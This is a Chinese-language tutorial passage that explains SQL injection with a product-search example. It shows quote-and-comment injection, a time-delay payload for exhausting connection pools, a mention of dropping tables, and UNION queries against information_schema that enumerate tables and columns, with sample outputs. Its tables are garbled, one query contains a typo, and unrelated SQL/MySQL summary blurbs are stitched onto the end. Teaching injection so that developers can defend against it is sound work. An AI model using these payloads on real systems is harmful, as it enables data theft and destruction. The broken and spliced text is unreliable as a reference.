SQL注入基本原理
WEB技術發展日新月異,但是徒手拼SQL的傳統手藝還是受相當多的開發者親青睞。畢竟比起再去學習一套複雜的ORM規則,手拼更說方便,直覺。通常自己拼SQL的人,應該是有聽過SQL注入很危險,但總是心想:我的SQL語句這麼簡單,不可能被注入的。
花5分鐘看完這個完整的例子,從今往後應該再也不敢有以上僥倖心理了。
簡單場景
有一個WEB介面提供輸入商品名稱,展示對應價格,生產日期及生產地點資訊。例如輸入Hammer展示:
產品 | 價格 | 生產地 | |
---|---|---|---|
12.98#American
#2019.11.07
#Club Hammer29.98
Canada2019.11.11
。 | 如果要實現以上功能,那麼我們大致可以猜到伺服器使用的SQL語句如下: | 其中?表示目前我們並不知道具體的表名和字段名,此SQL唯一可以被操縱的就是單引號裡面的輸入內容'%Hammer%。假如我們直接在查找框裡輸入一個單引號。即變成 | 這樣拼接後造成SQL語法錯誤,得不到任何結果,我們需要使用 | --
---|---|---|---|
後的是註釋內容(你也可以用 | #),這樣你可以得到所有的產品信息,目前為止,還是沒有嗅到危險的信號。 | 產品 | |
生產地點 | 生產日期 | ||
12.98 | American | 2019.11.07 | |
#29.98 | Canada | 2019.11.11 |
10.98China
2019.11.11
Boning Knife
19.98
China2019.01.01
緊緊抓住上一個步驟中可以擴充的單引號部分。來一個簡單的延時語句試一試: | 這時查詢會2秒後才回傳結果,如果把時間延長,用腳本多點幾次查詢,一下就能把資料庫的連接池用完。 | 當然,還有破壞力更強的! | 可以直接把表/資料庫直接刪除掉,至於如何知道引資料庫中有哪一些表(即如何確定上句SQL中的xxxx)呢? |
---|---|---|---|
我們需要知道此資料庫有哪一些表格!這樣才能能拿到有用的資訊。 | 使用union可以把不同表格的內容拼在一起,小試試看: | 產品 | |
生產地點 | 生產日期 | ||
12.98 | American | #2019.11.07 |
可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。
Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
authors | hawkeye | 3 | 4 |
products | hawkeye | 3 | 4 |
user | hawkeye | 3 | 4 |
.... | .... | 3 | 4 |
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。
看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。
select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
id | hawkeye | 3 | 4 |
name | hawkeye | 3 | 4 |
price | hawkeye | 3 | 4 |
address | hawkeye | 3 | 4 |
updated_at | hawkeye | 3 | 4 |
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):
select name,price,address,updated_at from products where name like '%Hammer%';
通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表
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SQL適合初學者,因為它語法簡單,功能強大,廣泛應用於數據庫系統。 1.SQL用於管理關係數據庫,通過表格組織數據。 2.基本操作包括創建、插入、查詢、更新和刪除數據。 3.高級用法如JOIN、子查詢和窗口函數增強數據分析能力。 4.常見錯誤包括語法、邏輯和性能問題,可通過檢查和優化解決。 5.性能優化建議包括使用索引、避免SELECT*、使用EXPLAIN分析查詢、規範化數據庫和提高代碼可讀性。

SQL在實際應用中主要用於數據查詢與分析、數據整合與報告、數據清洗與預處理、高級用法與優化以及處理複雜查詢和避免常見錯誤。 1)數據查詢與分析可用於找出銷售量最高的產品;2)數據整合與報告通過JOIN操作生成客戶購買報告;3)數據清洗與預處理可刪除異常年齡記錄;4)高級用法與優化包括使用窗口函數和創建索引;5)處理複雜查詢可使用CTE和JOIN,避免常見錯誤如SQL注入。

SQL是一種用於管理關係數據庫的標準語言,而MySQL是一個具體的數據庫管理系統。 SQL提供統一語法,適用於多種數據庫;MySQL輕量、開源,性能穩定但在大數據處理上有瓶頸。

SQL學習曲線陡峭,但通過實踐和理解核心概念可掌握。 1.基礎操作包括SELECT、INSERT、UPDATE、DELETE。 2.查詢執行分為解析、優化、執行三步。 3.基本用法如查詢僱員信息,高級用法如使用JOIN連接表。 4.常見錯誤包括未使用別名和SQL注入,需使用參數化查詢防範。 5.性能優化通過選擇必要列和保持代碼可讀性實現。

SQL命令在MySQL中分為DQL、DDL、DML、DCL和TCL五類,用於定義、操作和控制數據庫數據。 MySQL通過詞法分析、語法分析、優化和執行等階段處理SQL命令,並利用索引和查詢優化器提升性能。使用示例包括SELECT用於數據查詢,JOIN用於多表操作。常見錯誤有語法、邏輯和性能問題,優化策略包括使用索引、優化查詢和選擇合適的存儲引擎。

SQL的高級查詢技巧包括子查詢、窗口函數、CTE和復雜JOIN,能夠處理複雜數據分析需求。 1)子查詢用於找出每個部門工資最高的員工。 2)窗口函數和CTE用於分析員工的薪資增長趨勢。 3)性能優化策略包括索引優化、查詢重寫和使用分區表。

MySQL是開源的關係型數據庫管理系統,提供了標準SQL功能和擴展。 1)MySQL支持標準SQL操作如CREATE、INSERT、UPDATE、DELETE,並擴展了LIMIT子句。 2)它使用InnoDB和MyISAM等存儲引擎,適用於不同場景。 3)用戶可以通過創建表、插入數據和使用存儲過程等高級功能高效使用MySQL。

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